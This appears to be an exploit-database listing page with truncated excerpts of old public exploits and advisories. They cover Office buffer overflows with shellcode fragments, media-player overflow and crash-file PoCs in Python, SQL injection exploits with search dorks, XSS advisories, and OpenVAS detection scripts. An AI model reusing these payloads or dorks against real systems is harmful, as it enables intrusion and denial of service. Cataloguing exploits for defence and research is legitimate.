WebDAV Application DLL Hijacker

This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type. This module requires Metasploit: https://metasploit.com/download Current source:...

Microsoft Word Record Parsing Buffer Overflow

MS Word Record Parsing Buffer OverflowMS-09-027 Vulnerble application MS office 2003 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Bug Found By Wushi of team509 Greets Villy, Abhishek Lyall and ASL IT SECURITY TEAM Author Abhishek Sahni - abhi00703atgmaildotcom, infoataslitsecuritydotcom Web -...

Microsoft Excel - FEATHEADER Record (MS09-067)

MS Excel Malformed FEATHEADER Record Exploit CVE-2009-3129, MS09-067, OSVDB-59860 Vulnerble application MS office 2003/2007 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Sean Larsson - Original Discovery !/usr/bin/python import sys import zlib Allwin WinExec cmd.exe + ExitProcess Shellcode - 1...

Microsoft Word - Record Parsing Buffer Overflow (MS09-027)

MS Word Record Parsing Buffer OverflowMS-09-027 Vulnerble application MS office 2003 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Bug Found By Wushi of team509 !/usr/bin/python import sys import zlib windows/exec - CMD=calc.exe shellcode = b"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"...

Microsoft Word - Record Parsing Buffer Overflow (MS09-027)

Microsoft Word - Record Parsing Buffer Overflow MS09-027 MS Word Record Parsing Buffer OverflowMS-09-027 Vulnerble application MS office 2003 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Bug Found By Wushi of team509 !/usr/bin/python import sys import zlib windows/exec - CMD=calc.exe shellcod...

Mediacoder 0.7.5.4710 Buffer Overflow

media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link http://www.mediacoderhq.com/dlfull.htm tested on XP SP2 author abhishek lyall - abhilyallatgmaildotcom web - http://www.aslitsecurity.com/ blog - http://www.aslitsecurity.blogspot.com/ !/usr/bin/python to exploit load...

Rosoft Media Player 4.4.4 Buffer Overflow

rosoft media player 4.4.4 SEH buffer overflow POC vulnerble application link http://download.cnet.com/Rosoft-Media-Player/3000-21394-10044022.html tested on XP SP2 author abhishek lyall - abhilyallatgmaildotcom web - http://www.aslitsecurity.com/ blog - http://www.aslitsecurity.blogspot.com/...

Rosoft Media Player 4.4.4 - Buffer Overflow (SEH) (PoC)

Rosoft Media Player 4.4.4 - Buffer Overflow SEH PoC rosoft media player 4.4.4 SEH buffer overflow POC vulnerble application link http://download.cnet.com/Rosoft-Media-Player/3000-21394-10044022.html tested on XP SP2 !/usr/bin/python filename = "crash.m3u" junk = "\x41" 4500 textfile = openfilenam...

XSS vulnerability in DiamondList

Vulnerability ID: HTB22518 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityindiamondlist1.html Product: DiamondList Vendor: Hulihan Applications http://hulihanapplications.com/projects/diamondlist Vulnerable Version: 0.1.6 and Probably Prior Versions Vendor Notification: 22 July 2010...

DT Centrepiece 4.5 Cross Site Scripting / Logic Error

============================================ Vulnerability ID: HTB22519 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityindtcentrepiece.html Product: DT Centrepiece Vendor: DT Services http://www.dt.net.nz/ Vulnerable Version: 4.5 and Probably Prior Versions Vendor Notification: 22 Jul...

Mozilla Firefox JavaScript Array.splice Memory Corruption (CVE-2009-0773)

Mozilla Firefox is a web browser developed by Mozilla Foundation. The browser is capable of interpreting and rendering many types of content published on the Internet, including various versions HTML, XML, XUL, JavaScript, various graphics formats, and so on. The browser runs on the Windows,...

MediaMonkey 3.2.1.1297 - Denial of Service (PoC)

MediaMonkey 3.2.1.1297 - Denial of Service PoC Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 !/usr/bin/python filename = "crash.mp3" junk = "\x41" 5000 textfile = openfilename , 'w' textfile.writejunk textfile.close...

Spider player .m3u playlist DOS POC

Exploit for windows platform in category dos / poc =================================== Spider player .m3u playlist DOS POC =================================== Spider player .m3u playlist DOS POC vulnerble application link http://spider-player.com/downloading?file=SpiderPlayer2.4.5Setup.exe tested...

Mediamonkey v. 3.2.1.1297 DOS POC

Exploit for windows platform in category dos / poc ================================= Mediamonkey v. 3.2.1.1297 DOS POC ================================= Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 author abhishek lyall -...

MediaMonkey 3.2.1.1297 - Denial of Service (PoC)

Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 !/usr/bin/python filename = "crash.mp3" junk = "\x41" 5000 textfile = openfilename , 'w' textfile.writejunk textfile.close...

Google Chrome 5.0.375.70 Remote Dos

Exploit for windows platform in category dos / poc =================================== Google Chrome 5.0.375.70 Remote Dos =================================== Author: PoisonCode Download Exploit Code Download Vulnerable app Title:Google Chrome 5.0.375.70 Remote Dos Software...

CMS Ariadna 2009 - SQL Injection

Exploit Title : CMS Ariadna 2009 SQL Injection Date : 2010-04-19 Author : Andrés Gómez Contact : [email protected] Dork : "allinurl: detResolucion.php?tipodocid=" Exploit in Perl Start In Next Line: use LWP::Simple; Malicious users may inject SQL querys into a vulnerable application to fo...

INVOhost - SQL Injection

INVOhost - SQL Injection Andrés Gómez Exploit Title : INVOhost SQL Injection Date : 2010-04-24 Author : Andrés Gómez Software Link : http://www.invohost.com/ Contact : [email protected] Dork : "Powered by INVOhost" An attacker may execute arbitrary SQL statements on the vulnerable system...

MoinMoin Wiki 'sys.argv' Information Disclosure Vulnerability

This host is running MoinMoin Wiki and is prone to Information Disclosure vulnerability OpenVAS Vulnerability Test $Id: gbmoinmoinwikisysargvinfodiscvuln.nasl 5306 2017-02-16 09:00:16Z teissa $ MoinMoin Wiki 'sys.argv' Information Disclosure Vulnerability Authors: Veerendra GG Copyright: Copyrigh...

XOOPS Content Module 0.5 SQL Injection Vulnerability

XOOPS is prone to an SQL injection SQLi vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:xoops:xoops"; ifdescriptio...